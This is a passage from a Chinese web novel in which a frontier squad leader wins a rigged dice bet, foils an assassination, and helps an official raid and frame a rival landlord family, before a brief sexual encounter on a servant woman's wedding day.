何旺阴阴一笑,由拿起了骰盅。
刷啦啦……
何旺使出了何家密不外传的赌技,把骰子摇得在骰盅内一阵狂转。
待骰子停止了滚动,叶十三望着桌上的骰盅,缓缓道:“大。”
所有人的眼睛,都齐刷刷盯着桌上的骰盅,紧张得大气都不敢出。
胸有成竹的何旺,强按着心头爆棚的狂喜,慢慢揭开骰盅。
大。
三粒骰子,撺成一个“品”字,面上的点数分别是四,五,六。
第42章 不赌为赢
“大……”
赌场霎时就骚动了起来。
围观的人,禁不住都喊了起来。
小!
居然是小。
“这把不算,再来!”
随着骰盅的揭开,骤然色变的何旺,万没想到,十拿九稳的活,居然会颠覆过来。
就是在场围观的人们,也万没想到,何旺自己给自己摇出了一个让自己输掉底裤的数字。
“愿赌服输!”
叶十三收敛了方才吊儿郎当的样子,目光冷得就像两把冰刀。
盯着何旺片刻,道:“白纸黑字,你想抵赖不成?”
“仓啷!”
站在叶十三身后的马成,也从腰间扒出佩刀,虎视眈眈地盯着何旺。
赌场中的赌客里面,大多都是芦河湾村的人,这些人在何家的赌场没少输钱。
他们虽然不认识叶十三,但认得马成。
而且,看得出来,这马成和叶十三是一伙的。
对何家心有怨恨的赌客们,这下有了出一口恶气的机会了,纷纷叫嚷起来。
“白纸黑字写得清清楚楚,何家赌场这是要铁了心的赖账。”
“大家都可以作证,哪怕是官司打到镇上衙门,何家也不占理。”
“赢了就痛痛快快,耍赖就是不要脸,无耻。”
“输不起就不要赌,哪有光赢不输的道理?”
在众人的嚷嚷声中,马成手中的佩刀,压在桌上的田契上,冷声道:“把你的爪子拿开,不然老子给你剁了。”
“你……”
脸上冷汗直流的何旺,讪讪地从地契上抽回自己的手,眼睛里全是狠毒之色。
三百顷田地,几乎是何家田产的全部,能不让何旺肉疼?
本来是为了要叶十三的命,对于自己十拿九稳的赌局,何旺才答应的如此赌注。
这下好了,谁知道竟然给输了,再众目睽睽之下输了。
面对马成拔刀拼命的架势,现场的几个护院,此时也怯了。
他们知道这人不是个善茬,不然何正也不会由此丧命。
面颊一阵急抽,何旺知道,此时要是来硬的,首先何家不占理。
围观的这些人,都记恨着何家,他们不会帮何家说话的。
“见者有份,小爷有赏!”
叶十三倒是出奇的大方,瞥了一眼桌上的地契,眼珠子一翻,道:“今天小爷高兴,每人赏十亩田地。”
“不过!”
叶十三站了起来,背起双手,目光从眼前围观者的脸上一一扫过,又道:“但你们得给小爷我保证,不准再赌,拿着这田地,来年开春种粮食养活家小吧!”
这是吃饱了饭要砸锅?
赢了人家的田产,却不让别人再赌。
赌场里聚集着近二十名村民,叶十三这一出手,刚赢到手还没捂热的田地,就这样一句话送掉了二百亩。
大方,真他娘的大方。
村民们欢天喜地,拿着马成分给他们的田亩地契,千恩万谢的瞬间就散了个干净。
“再拿一百亩,归你了!”
叶十三大踏步走出何家的赌坊,扭头又是一句。
紧跟在后面的马成,怀疑是自己的耳朵听错了?
“什长大人,您是说……”
“叫你拿着,你就拿着,家里人没田地耕种,拿什么糊弄一家老小的肚子?”
叶十三扬扬手,一副不耐烦的样子。
这可是一百亩田地啊!
马成做梦也没想的,军部的嘉奖还没兑现,他居然这样就得了一百亩田地。
“谢什长大人,谢什长大人……”
在何家人仇恨的目光中,叶十三背着双手,带着马成大摇大摆地离开了芦河湾村。
“不杀此人,誓不为人!”
望着叶十三的背影,何旺把牙咬得咯吱吱直响。
那些田地,伤不了何家的元气,但这口恶气,无论如何都难以下咽。
地契虽然在叶十三手中,但田地谁也搬不走,还不是在芦河湾村?
“二爷,还得从长计议!”
管家何攸之,针挑无肉的脸上一片阴毒,附在何旺耳边嘀咕一阵。
“无毒不丈夫,量小非君子,就按你说的办。”
何旺拳头一擂桌面,一张脸阴得能拧出水来。
重赏之下,必有勇夫,管家的目光和何旺相视片刻,然后点点头,一声不吭就离开赌坊。
……
半夜,营房四周出现了几条黑影。
月光惨白,几条黑影就像幽灵一样,聚在一起片刻,忽然又分散开来。
不一会,黑影从四周围向一间屋子。
一,二,三……总共八条。
八柄钢刀,在月光下向显得更加寒气逼人。
“哐当!”
屋子的门,被其中一条黑影踹开。
“姓叶的,受死吧!”
黑巾蒙面的八个人,团团把火炕围住,每人手中的钢刀,齐齐指向炕上的被筒。
奇怪!
被筒一动不动,而且屋子里静得瘆人。
不对!
半烛香前,屋子里还有灯烛亮着,熄灭后不久,便响起了鼾声。
“杀!”
踹门而入的黑影,低吼一声,八柄泛着寒光的钢刀,一起向炕上的被筒砍下。
“噗噗……”
声音不对,手感更是奇怪。
八条黑影没有听到预料中的惨叫声,倒是握刀的手,觉得是砍到一堆败絮上一样空若无物。
“嚓!”
有人打起了火镰,映着微弱的火光,呈现在眼前的,却是被乱刀斩成一团的一条破被子。
再四处查看,屋子里压根就没有叶十三的半点影子。
“不好!”
踹门的人,后背霎时就被惊出冷汗,沉声道:“快撤,有诈。”
“既然来了,还走得了么?”
一个冷冷的声音,从屋子外面传响了起来。
屋子里的人,霎时被惊得魂飞魄散。
紧接着,无数的火把,霎时就把营房的院子照得一片通明。
“放下武器,饶你们不死!”
背着双手的叶十三,从举着火把的人堆里走了出来。
“不想死的,放下刀,双手抱头蹲着。”
叶十三向前走了几步,对着屋子里面又是一句。
“当啷……”
一把把钢刀,被从屋子里扔了出来。
一,二,三……总共八柄。
接着,八个双手抱着脑袋的黑衣人,一个接一个,缓缓从屋子里走了出来,在屋子前面排成一溜蹲下。
“全都绑了!”
叶十三的声音,冷得就像冰窖。
一群田兵蜂拥而上,片刻间就把八人捆成了粽子。
屋子里的油灯,重新被点燃。
“徐佥事,还是你来审吧!”
叶十三往旁边一让,把身后跟着的徐老六,顺势就让在了桌后坐了。
“你们,是受何人指使?”
徐老六单刀直入,问话没有任何的过渡,直接问起这些人背后的主谋。
八人齐齐低垂着脑袋,跪在地上一声不吭。
“不说?”
徐老六嘴角一拧,向一屋外堵着的田兵又道:“把这些人衣服鞋子全都扒了,赶出岘口喂狼。”
赶出岘口喂狼?
假如被扒光了衣裤和鞋袜,别说喂狼了,就是冻,也能把人给冻硬成石头。
岘口之外,那可是鞑子的地盘,就是不被冻死,也会被鞑子剥了人皮做鼓敲。
“大人饶命,我说……”
终于有人怕了,跪在地上向前挪了几步。
第43章 铁了心的要灭了何家
“大人饶命,我也说……”
八个黑巾蒙面的人,已经被扯掉了面罩。
一个个争先恐后,跪在地上抬起头来,生怕落后别人一句。
徐老六目光一扫八人,冷冷说道:“擅闯军事禁区,袭击营房,企图谋杀烽燧兵什长,按律当斩!”
如此声色俱厉的一句,霎时就让八人浑身抖了起来。
“大人明鉴!”
跪在最前面的一人,也就是踹门而入的带头者,急道:“我们本是周边村里的村民,无奈欠了何家的赌债,今天晌午何家的管家找上门来,许诺我等几人,要是悄悄杀了住这屋里的人,不但赌债免掉,每人还可得二十两银子,两石粮食。”
不用说,这些人都是好赌成性,不务正业的偷鸡摸狗之辈。
面对何家许诺的如此奖赏,不惜以身涉险前来杀人。
“你所言可是属实?”
徐老六面色一沉,厉声又是一问。
“大人息怒,草民所说,句句属实,若有半点虚言,任由大人处置。”
“大人,确实如此,王二所言句句属实。”
“草民不敢说谎,何攸之把我等召集起来,亲口应允的事。”
面对这些人的供词,徐老六目光望向叶十三,苦笑道:“何家这是疯了,不以何正的死引以为戒,反而丧心病狂做出这等形同造反的事来,真是神仙难救啊!”
“什么形同造反?”
叶十三撇撇嘴,沉着脸道:“这本就是造反,何来形同?”
此言一出,徐老六面颊一阵急抽。
这叶十三,硬是把一次为了报复,杀人未遂的事,直接给定了性。
谋反?
那可是要被问斩和抄家的呀!
何家再是镇里有人,但谁也保不住造反的弥天大罪。
恐怕何家的那些关系,都会躲得远远的,生怕和这事沾上半点干系。
潜入军事禁区,硬闯烽火台营房,刺杀烽燧兵什长,这活脱脱的造反。
有无通敌?
这还得严加审讯。
已经骑虎难下的徐老六,整理好了供词,给八人松了绑,让他们挨个在供词上画押摁手印。
“关起来,等拿下主谋,再行处置。”
徐老六一声令下,八人被田兵押回屯田村看守了起来。
“叶什长,您看?”
徐老六尴尬一笑,向叶十三投去问询的目光。
再是军垦区的田兵,但对有人造反,也是有责任采取行动的。
叶十三双手一摊,笑道:“眼下非常时期,烽火台离不开值守,这事已经明摆着了,如何采取行动,徐佥事看着办就是。”
说完,叶十三像是又想起什么?
“哦,对了!”
叶十三一拍脑袋,道:“我可派两人协助徐佥事,烽燧兵人手虽然不多,多少添点兵力还是能行的。”
说完,叶十三直接让马成和丁威二人,一同前去协助徐老六彻查何家“谋反”一案。
得了一百亩田地的马成,当然是明白叶十三的意思,派他二人一同前去,就是以防徐老六在这事上放水。
而老油条徐老六心里更是明白,这叶十三是铁了心的要灭了何家。
不过,灭了何家没什么不好。
除掉一个恶霸,在边城地区,还能落个好名声。
何家被抄,那些田亩不说,就何家囤积的粮食,也够给村民们救急了。
如此一想,徐老六站了起来,目光一扫屋外的田兵,吼道:“岘口值守兵力,尽数出动,拿下芦河湾村反贼何旺,何氏家产尽数抄没。”
……
子夜,何家大院。
木炭火烧得正旺,喝得满面通红的何旺,亲自翻烤着架在火盆上面的一根羊腿。
两名袒胸露怀的小妾,一左一右偎着何旺,正等着何旺亲手烤的羊腿熟了。
“这都子时了,你找的那些人,也应该回来了吧?”
翻烤着羊腿的何旺,冷不丁的就是一句。
在一旁立着的管家何攸之,正心神不宁地时不时向门外瞅着。
“二爷放心!”
何攸之拿衣袖擦了一把额头的汗,低声道:“那几个,手都黑着呢,杀个人,对他们来说不是什么难事。”
“务必得手,七八个人,杀一个奴籍兵卒,还不跟宰只鸡一样?”
何旺眉头紧蹙,心里还是有些不踏实。
这货心里焦躁不安,总觉得会有大事发生。
“二爷,这肉何时才能烤好啊?”
一名小妾依偎在何旺怀里撒娇,嗲声嗲气地询问烤羊腿的事。
何旺焦躁地一把推开小妾,目光冷冷盯着管家何攸之,沉声道:“叮嘱他们了没?活要干利索,别留下尾巴,再是一个奴籍兵卒,但那也是北防军所管的人,最好是一把火烧个干净。”
“使不得啊二爷!”
管家心头一凛,摆手急道:“悄悄弄死个人,上面也无从下手追查,这要是把营房烧了,那事儿就大了。”
“再说,一旦营房起火,烽火台,屯田村,都离得不远,要是有人来救援灭火,反而会暴露……”
“行了!”
何旺摆摆手,粗暴地打断了何攸之后面要说的话。
在把手中的羊腿翻了个面,继续道:“讹了老子的那些田亩,那些穷鬼是捂不热的,终究会拿来当本钱赌的,最后还是到了老子的手里,可这叶十三必须得死,他要是活着,老子就睡不好觉。”
“是是……”
何攸之连声应答着何旺的话,瞥了一眼桌上燃着的香,心里不禁发毛起来。
燃过这一根香,已经就到了午夜,按理说,这些人也应该得手后回来复命了。
“二爷,要不您先睡,有我在此等候消息?”
何攸之看得出来,那两个小妾,绝不是在等烤羊腿吃,而是骚劲大发,准备早早钻被窝和何旺大干一场呢。
何家大院外面,天黑得瓷实。
一丝风都没有,静得有些瘆人。
羊腿在火盆的木炭上被烤得滋滋冒油,火光的照映下,何旺的一张脸狰狞得无比可怕。
“呀!烤好了,香味都溢出来了,二爷可得多吃,吃饱了才有劲。”
另一名小妾给何旺斟了一杯酒,站了起来准确去拿装肉的木盘时,突然有下人急忙来报。
“二爷,管家,村外好像有一队火把,向咱这边来了。”
“睡你的觉去,这里没你的事了。”
何旺闻言一怔,待下人退下后,这又说道:“这些蠢货,举哪门子火把?如此张扬,岂不引起屯田村的注意?”
说话间,一阵急促的马蹄声,引得大地一阵震动。
第44章 抄家
这动静,让屋里的人一阵振奋。
不对!
马蹄如此密集,绝非八人八骑的阵势。
再说,派去的那八人,可是没有骑马的呀?
转眼间,火把燃烧时的哔哔啵啵声,也清晰地传到耳中。
这声音,是羊油火把?绝非松明。
不好!
管家何攸之,心头突然涌上一种不祥的感觉。
“二爷,您暂避片刻,我出去查看一下。”
说着,何攸之拔腿就往外走。
一同涌向院门的,还有另外几个护院的家丁。
“砰!”
一声巨响之下,还没等护院的家丁从里面打开院门,两扇漆着红漆的门板,就从外面给撞飞。
“都别动,谁动就砍死谁?”
一声暴吼,直接把涌向院门口的几个护院家丁直接给吓跪。
“何人如此大胆?”
硬着头皮的何攸之,心知不妙,但还是壮着胆子问了一句。
话刚落地,就觉脖子上一凉。
一把刀,已经冰冷地架在他的脖子上。
“快说,何旺在哪里?”
为首一人边问话,边把另一只手一挥,院门里涌进来的兵士们迅速分散开来,然后分组冲向每一处房间。
“在……在那边……”
何攸之指着亮灯的一间屋子,说话已经不太连贯了。
“别放跑一个,若遇抵抗,就地格杀!”
为首的又是一声暴吼。
映着火把的光亮,何攸之看清了来人的脸,心头怵然又是一惊。
“徐……徐佥事……徐大人……是您?”
何攸之认出了来人的那一刻,浑身一软,就瘫倒在地。
这个时候,徐老六的到来,绝非好事。
看动静,来的田兵人数,不下百人。
霎时,亮着灯的那间屋子,房门也被从外面踢成了碎片。
在两名小妾“啊”的一声惊叫下,几名手持佩刀的田兵就把火盆旁的何旺团团围住。
“拿下!”
又是一声暴喝。
被惊愣当场的何旺,脖子上一左一右,已经被两把冰凉的钢刀按住。
“绑了!”
“马……马成……你要……干……”
认出了来人的何旺,一句话还没问出口,嘴里就被一团臭气熏天的布团塞住。
“把嘴堵好了,别让他咬舌自尽。”
来人带着嘲弄的口气,目光一瞥刚才被扒了鞋袜的一名小妾。
何旺嘴里塞着的,正是刚才从一名小妾脚上扒下来的两只袜子。
在认出马成的瞬间,何旺明白了。
刺杀叶十三,失败了!
嘴里被塞着臭袜子,脸被憋得青紫的何旺,在一愣神间,就被捆成了一只粽子。
此时,屋外的何家大院里,已经乱作一团。
女眷们的哭喊声,男丁们的求饶声,还有田兵们的厉斥声,霎时就交织成一片。
何家大院,已经灯火通明。
穿着单衣,在寒风中瑟瑟发抖的何家人,在院子里跪成了一堆。
从护院家丁屋子里搜出来的尖矛和砍刀,也被集中起来放在地上。
“好啊!”
在两支火把的辉映下,背着双手的徐老六进了屋子,目光一扫地上跪着的何旺,缓缓说道:“身为富甲一方的乡绅,不思安居乐业,不思感恩朝廷,不思体恤边军,不思善待乡邻,居然聚众造反,你嫌自己的命长了?”
前面几句,那是冠冕堂皇的套话空话,可后面的一句,足矣让何旺魂飞魄散。
聚众谋反?
这可是斩首抄家的通天大罪啊!
“呜呜……”
被臭袜子堵着嘴的何旺,跪在地上一阵挣扎,但就是说不出一句话来。
紧接着,丁威带着几名田兵,押着抖成一团的管家何攸之进来。
原本枯瘦的何攸之,说是被押着,在丁威的一只大手从后衣领拎着时,哪里还有半点人形?
他清楚,此事一旦败露,活命的机会会更小。
从他一眼认出徐老六后,他就知道,事情败露了。
擅闯军事禁区,冲击营房,又刺杀烽燧兵什长,这罪大了。
他这才明白过来,那个叶十三,不简单。
但结合到事情的前后,一想,不知道是叶十三背后站着徐老六?
还是徐老六背后站着叶十三?
一个奴籍的烽燧兵什长,一个军垦屯田区的佥事,这俩原本不是同属的人,此时却一唱一和,让何家在弹指间灰飞烟灭。
“谁先招?”
徐老六目光冷冷,坐在屋子正中的一张椅子上,示意手下拿掉何旺嘴里塞着的臭袜子。
一团烂布被拿掉,何旺大喘着气急道:“我要去镇上见董大人。”
徐老六嘴角扬起一丝冷笑,缓缓说道:“造反之谋,难道还有董大人一份?”
“草民冤枉啊……”
何旺额头冷汗直冒,被惊得连声又道:“草民为人,一向是克己守法,爱护乡邻,董大人那可是对草民知根知底的呀!”
“大胆!”
徐老六面色骤变,指着何旺吼道:“开赌坊,放印子钱,逼得多少村民家破人亡,巧取豪夺,令多少人失去田地无家可归,既是如此,你何家还不满足,居然擅闯军事禁区,冲击营房,谋杀戍边军人烽燧什长,就这些,足够砍你何家三代人的脑袋!”
“佥事大人明鉴!”
何旺瘫在地上,吼叫一声后不知再说什么好了!
“该你了!”
徐老六视线,又移动到何攸之脸上,冷声道:“雇凶杀人,企图造反,你的罪也不小。”
“大人冤枉啊!”
浑身抖若筛糠的何攸之,嘶吼着辩解道:“草民只是个管家而已,二爷让草民干什么,草民就干什么!”
“冤枉?”
徐老六轻蔑一瞥何攸之,淡淡道:“何家企图造反,你这个管家只是从犯,是帮凶,哪有冤枉一说?”
此言一出,何攸之吓得不敢再辩解一句。
如此看来,对方那是有备而来。
说不定,早已设下圈套,就等他们何家往里钻了。
“给他们看看,好让他们死心。”
徐老六一瞥身边田兵,田兵从怀里拿出几页按着朱红手印的供词,然后展开了在何旺与何攸之的眼前一亮。
当二人心惊胆战地把目光望向田兵举在眼前的纸上时,八个签名,八个殷红的手印赫然在目。
“人证,物证俱全,你何家还想抵赖不成?”
徐老六缓缓往椅子上一靠,冷冰冰又是一句。
此时,外面的田兵,被分成了组,有条不紊地在查抄何家的家产。
两个早已被吓得面无人色的小妾,瘫在地上的屁股下面,早已流出一滩骚臭的便溺来。
第45章 这何家,真的通敌
夜更深、更黑了。
何家人在院子里冻得瑟瑟发抖。
抄家的田兵们,却是一个个汗流浃背,忙得热火朝天。
“大人,草民冤枉啊!”
跪得双腿酸麻,腰杆僵硬的何旺,被从门外吹进来的冷风,激得脑袋稍加清醒了一些。
求生欲望的促使下,他又呻吟一般地吼叫了一声。
惊吓、久跪,加上白天吃喝不少,何旺又向椅子上昏昏欲睡的徐老六恳求道:“请佥事大人开恩,草民憋不住了,想要方便片刻。”
此言一出,徐老六缓缓睁开眼睛,淡淡说道:“你虽犯的是死罪,按大夏律,交由镇上衙门斩首,可不能让你被屎尿憋死,这水火无情,但本佥事这些情面还是给的,准了!”
说完,徐老六把头转向一旁,似乎给马成一个眼神。
“给何二松绑,押他去茅厕出恭。”
徐老六摆摆手,示意田兵放何旺去解决屎尿。
“谢大人开恩!”
被松了绑的何旺,从地上趴来了,边活动着僵硬的四肢,边往后院的茅草急急走去。
这何旺被允许去茅厕,早已被一泡尿憋得脸色铁青的徐攸之,两腿一夹准备向徐老六开口。
就在何攸之嘴唇一阵蠕动,到了嘴边的话还没出口,就听到后院有田兵大喊起来:“不好了,犯人何旺逃跑了!”这一声喊!
已是惊弓之鸟的何攸之,浑身一抖,一泡隔夜老尿,直接从两只裤腿渗出来流了一地。
双目圆睁,猛然从椅子上站了起来的徐老六,暴喝道:“给我追,千万不能让犯人给跑了!”
霎时间,照得前院的灯火通明的火把,瞬间就向漆黑一片的后院快速移动。
“禀报佥事大人,犯人何旺趁看守的人不备,翻越茅厕围墙,逃向西北方向。”
“还不快追!”
听到田兵的禀报,徐老六眼睛一瞥马成,马成点点头,迅速就消失在屋外。
何家大院前面,便是村道,村道又连着官道。
这后院的方向,那可是与官道相反。
因为前院和路口有举着火把的田兵把手,翻出了后院围墙的何旺,没了命的就向与官道相反的方向在黑夜中狂奔。
只有远离村道和官道,逃脱的胜算就大一些。
只要暂时摆脱追兵,然后再找机会到镇里找董大人寻求庇护。
如是想着,何旺一门心思向着与官道相反的方向拼命逃窜。
再是地形熟悉,但在漆黑的夜里也是跑不了多快。
跌倒了,强忍着疼痛爬起来又跑。
身后的追兵越来越近,几支火把一路跟随上来。
不多时,举着火把的田兵,已经看到了何旺疯狂逃窜的背影。
“就在前面,追上去!”
田兵们喊着,但速度却与何旺保持着两丈左右的距离。
追兵的喘息声就在身后,眼前又是漆黑一片,何旺来不及多想,只顾拼命逃窜。
这时候,追兵中有人放慢了脚步,而是从背后抽出了一把改制过的强弩。
“站住,再不站住,老子就放箭了!”
“嗖!”
随着话音落下,一支响箭带着破空之声,向前面两丈外的何旺后背激射而去。
“啊……”
一声惨叫划破夜空,紧接着何旺狂奔着的身影,就一头栽倒在地……
天色微亮,比夜里更冷了许多。
四名田兵抬着一具被弩箭从后背直透前胸的尸体,急匆匆来到屋前放下。
跟在后面的步弓手马成,上前进了屋子,向徐老六拱手道:“启禀佥事大人,人犯徐旺,在逃往元蒙方向三里处被射毙。”
“好啊!”
徐老六面色凝重,点点头道:“这何家,果然通敌。”
此言一出,跪在那滩尿渍中瑟瑟发抖的何攸之,眼前一黑就晕了过去。
通敌?
这罪可大了去了!
再是镇里衙门有人,这个嫌疑却没人敢沾。
“这就对了!”
徐老六目光冷冷,缓缓又道:“之前我还纳闷,一个财主,不好好享受日子,如何要擅闯军事禁区冲击营房刺杀军职人员?”
停顿片刻,徐老六点点头,似有所悟地又道:“原来他是为元蒙鞑子办事,所发生的一切,这就不难理解了。”
“都记录下来,详细一点。”
徐老六命令身边的田兵,把关于何家所“通敌谋反”的罪行记录备案。
不多时,被冷水泼醒了的何攸之,哆嗦着在何家的罪状上摁了手印。
他知道,此时说什么都没有用了。
要是这该死的何家二爷不逃跑,他这个从犯,说不定还有活命的一线生机。
杀一个管家,对叶十三,对徐老六,都没额外的好处。
但这混账何旺一死,一切都成板上钉钉的铁证了。
院子里,成箱的财物码放成堆。
徐老六两眼放光,向偏院的粮仓一瞥,道:“何家屯粮,一半运回屯田村,另一半就地封存。”
财物也是,只造册了一半,另一半被运向屯田村。
只有田产地契,被搜出来后,被徐老六揣进了怀里。
何家有的是骡马和大车,拉着满满的粮食和财物,趁着大早路上人稀,浩浩荡荡就离开了芦河湾村。
何家大院,只留了不足四十人的兵马就地看守。
就地取材,用何家的羊肉和粮食,做了一顿油水爆棚的饭食,留下来的田兵们一顿狼吞虎咽,吃了继那些鞑子骑兵的死马肉后,又是一顿带荤的饱食。
徐老六剔着牙,吩咐身边田兵,道:“抬上何二尸首,押上同案从犯何攸之,去镇里上呈军部。”
如此事大,还真不宜耽误。
通敌谋反,这不是一般的突发事件,关乎到国土安危,谁也不敢懈怠半分。
徐老六挑了几名得力随从,目光看向剩下的田兵们,沉声道:“余下何家其他人等,暂且就地关押,等军部处置令一到,再行发落。”
一切都比预计的还要顺利,最让徐老六没想到的是,何旺会选择趁着入厕出恭的机会越墙逃跑。
这一跑,被追击逃犯的兵卒给射死。
而且,畏罪潜逃的何旺,是被追兵射死在“通敌”的路上。
何旺被步弓手马成射杀时,正在朝着元蒙方向狂奔。
徐老六的一声令下,随从们迅速套好了一辆马车,拉着何家二爷何虎的尸体,押解着管家何攸之,向着镇里的方向而去。
第46章 出嫁前,她这样还债
军垦区,屯田村。
热闹景象就像过年一样,人人脸上都洋溢着喜气。
整车的粮食,几乎堆满了签房的大半个院子。
这才是一半的数量,可见何家的财力,雄厚到了何种程度?
作为边城原住民的何家,经营了整整三代人的底子,终究没扛过叶十三那诡异的一笑。
当回到烽火台的马成和丁威,把消息告诉其他二人的时候,李富贵和张发二人,如同雷击一样呆立当场。
就是此次行动的参与者,马成万没想到叶十三是如此狠辣。
自己连面都没露一下,就让家大业大,镇里还有关系靠山的何家,在弹指间灰飞烟灭。
这一切,居然天衣无缝。
丁威更是被深深震撼,对叶十三佩服得五体投地。
想想之前那五人的死,个个都不冤枉。
跟叶十三作对,还能有好的?
最为吃惊的,还数叶家叔侄二人。
听到这个消息后,喂马的叶举,差点把自己直接给吓尿了。
“腊八,何家真的完了?”
面对叶举目瞪口呆的这一问,叶腊八压低了声音说道:“屯田村那边人都在传,徐佥事带人直接把何家给抄了。”
“那边!”
叶举一脸紧张,指指烽火台,低声道:“两位军爷,也被派去帮忙,回来时的样子,看起来很神气的。”
“闰儿不会有麻烦吧?”
心中毫无底气的叶举,心神不安地又是一问。
“何家在真是靠山不小,衙门能放过闰儿?”
“依我看”
叶腊八铡好了草料,添给几匹战马后,摇头道:“闰儿老弟不会有事,是何家掏钱雇人,准备谋害闰儿老弟,不料咱闰儿料定何家会来这一手,这才安排了徐佥事帮忙,把企图行凶之人尽数拿下。”
叶举依旧心里没底,他总觉得这事透着怪异,摇头道:“何正没有扛住徐佥事的一顿军棍,死了也算他自己倒霉,可现在,何家老二也死了,那何家在镇上,是有人罩着的。”
只有一旁做饭的何秀儿闷不吭声,今天,是她“出阁”的日子。
按之前说好了的,郑一刀收拾好了那边,就来迎娶她过门。
望着营房炕上叠放整齐的叶十三的被褥,何秀儿心里一阵迷惘。
她原为了一口吃的,不惜想奉上自己的身子,来换自己不被饿死的一条活命。
吃的有了,而且还混了个给烽燧兵做饭的差事。
但她以此来交换的身子,却被收留了她的这个男人,许配给了另外一个男人。
并且,那个男人,还瘸了一条腿。
就在这时候,叶十三从烽火台回来。
“腊八哥,你牵两匹马,把我娘和彩儿接过来,让蔡一也一道过来帮忙。”
一打照面,叶十三就给叶腊八派了活。
没等叶腊八说话,叶十三又转头道:“二叔,挑只肥羊宰了。”
叶十三的话,叔侄二人只有点头答应的份,问什么都是多余。
待叔侄二人分头行动起来,叶十三站在何秀儿身后,犹豫片刻,轻声道:“去,梳洗打扮一下,待羊宰好了,让蔡一做就是了。”
梳洗打扮一下?
何秀儿的脸,霎时一下子就红到了脖颈。
这个男人,终于向她开口了。
今天是在营房的最后一天,难道他也舍不得让她跟了铁匠铺的那个瘸子?
“嗯!”
何秀儿应了一声,回过头来眼神复杂地望了叶十三一眼,然后就去了烧水的屋子……
不多时,何秀儿顶着一头湿漉漉的秀发,低着头站在炕沿前。
此时用一根手指,从鬓角绕着一缕头发的何秀儿,低着头等那叶十三的下一步的动作。
熊熊燃烧着的牛粪火,把一壶茶烧得溢出了壶口。
叶十三终于站了起来,缓缓走向炕沿前的何秀儿。
他每向前一步,何秀儿的心,就狂跳一次。
待叶十三完全走动何秀儿跟前,何秀儿闭起眼睛,缓缓往后一倒,仰着身子就在炕面上躺了下来。
溢出壶口的茶水,在牛粪火上滋滋作响。
望着何秀儿白皙的脖子,和剧烈起伏的胸部时,叶十三的喉结,随即上下蠕动了一下。
何秀儿禁闭着眼睛,双手下意识地把没有扣住的衣襟,往一起拉了拉。
叶十三顿觉一阵燥热袭来,喉结就像一枚核桃,随着一口唾液的咽下,又上下蠕动了一下。
“待会,郑一刀就来了。”
叶十三终于开口,说了自从何秀儿洗漱完进屋后的第一句话。
“他娶你过去,会给你一个过日子的家。”
第二句。
何秀儿依旧仰躺着,闭起眼睛没有任何反应,更没有开口回应叶十三所说。
叶十三怔了怔,傻呆呆地在炕沿前站立片刻,然后缓缓转身,把目光投向往外溢着茶沫的壶口。
“民女,就那么,不入您的眼吗?”何秀儿猛然睁开眼睛,一骨碌坐了起来,掩住衣襟站在叶十三身后,幽幽说道:“过了今天,民女就是他的人了,您,抱抱民女好吗?”
刚准备去拿茶壶的叶十三,就像雷击了一样,站在原地一动不动。
说是让叶十三抱抱她,何秀儿却不等叶十三转身,伸开双臂从后面把叶十三紧紧抱住。
“民女说过,您给民女一口吃的,民女可以为什长大人做任何事。”
说着,何秀儿的双臂越箍越紧,把一张滚烫的脸,紧紧贴在叶十三的后背上。
隔着衣服,何秀儿能听到叶十三砰砰的心跳。
突然,叶十三猛然转身,双臂一举,就把头发湿漉漉的何秀儿放倒在炕面上。
何秀儿本来掩着的棉袄,衣襟一下子就翻开在两边,里面什么都没穿身子,白得让叶十三一阵眼晕。
叶十三的呼吸,一下子就粗重起来,在一阵由狭紧瞬间变得开阔的突破下,嘤咛了一声的何秀儿,脑袋猛然向后一挺就把自己的下嘴唇咬得渗出了血珠……
有说笑声远远传来,从营房屋子的窗户中,看到牵着两匹马的叶腊八,正指指画画地向这边过来。
叶十三慌乱地翻身下炕,站在牛粪火盆边直喘着粗气,身后的何秀儿,低着头窸窸窣窣地在整理着自己的衣服。
不多时,彩儿兴高采烈的笑声,已经到了营房门口。
“吱呀!”
屋门被从里面缓缓打开。
叶十三极力地让自己平静下来,望着刚进入院门的人们,笑道:“娘来了!”
“如此喜事,娘能不来吗?”
马背上的叶刘氏,满面含笑地望着叶十三,又道:“我儿如此功德,娘真为闰儿高兴。”
高哪门子兴?
这是铁匠铺的瘸子郑一刀要娶亲,又不是你儿叶十三入洞房。
脸上红晕已经褪下的何秀儿,缓缓从屋里走了出来,低着头向叶刘氏一礼,轻声道:“民女见过老夫人,见过小姐。”
“可不敢当!”
被叶腊八扶下了马背的叶刘氏,还没站稳,急得双手乱摆,“何姑娘不可如此大礼,这叫老身如何受得?”
话是没错,何秀儿好歹也是庶民,怎么说也高奴籍一等。
“何家姐姐,今天你出阁,娘和我都来陪你。”
叶十三刚把彩儿抱下马来,彩儿就迫不及待地摸索着自己在地上走着。
“谢老夫人,谢小姐垂恩!”
缓缓弯腰施礼的何秀儿,再次抬头时,目眶中已经满是泪水。
这一幕,没逃过蔡一的眼睛。
说不准,何秀儿已经用身子抵了饭票。
孤男寡女,在一起不整出点事,谁信?
第47章 接亲的人来了
只有蔡一懂她。
因为曾经都是为了一口活命的饭食,准备献出自己身子的两个女人。
同病相怜,让她们心有灵犀。
把叶刘氏和彩儿让进屋子,何秀儿就像什么事都没发生过一样,低着头和蔡一忙碌起来。
自己给自己准备出阁的饭菜,这在待嫁的女人中,已经很少见。
何秀儿的心里,她已经是嫁出去了,跟着那个瘸子铁匠走,只是一个命运安排给她的形式。
方才的那一阵要命的疼痛,让她铭刻在心。
也正是那一刻的裂疼,让她知足,让她此生无憾。
待会,铁匠郑一刀就来接亲。营房大院里最高兴的人,却是叶腊八。
叶腊八浑身都是劲,忙前忙后,帮叶举剁羊肉,又帮蔡一提水抱柴。
只有何秀儿一声不吭,就像今天的日子和自己无关。
被让到炕上坐了的叶刘氏,嚷嚷着要下地帮忙做菜。
“待会客人来吃接亲饭,为娘这如何坐得安闲?”
叶刘氏总想干点什么?
吃闲饭,在她的意识中,那是在给她的儿子叶十三添麻烦。
一个什长的粮饷,一个人吃喝都紧张,何况叶十三的一份粮饷,还要养活她和彩儿。
彩儿双眼无法视物,之前还能摸索着搓个牛毛绳,可现在被叶十三安排了专人伺候着。
这样一来,还要给蔡一管饭。
“娘,您就安心坐着,炕上暖和。”
看到叶刘氏人嚷嚷着要干活,叶十三顿时心里一慌,快步走到炕沿前,把正准备下地的叶刘氏给拦了下来。
“你也去炕上坐着,陪彩儿说说话。”
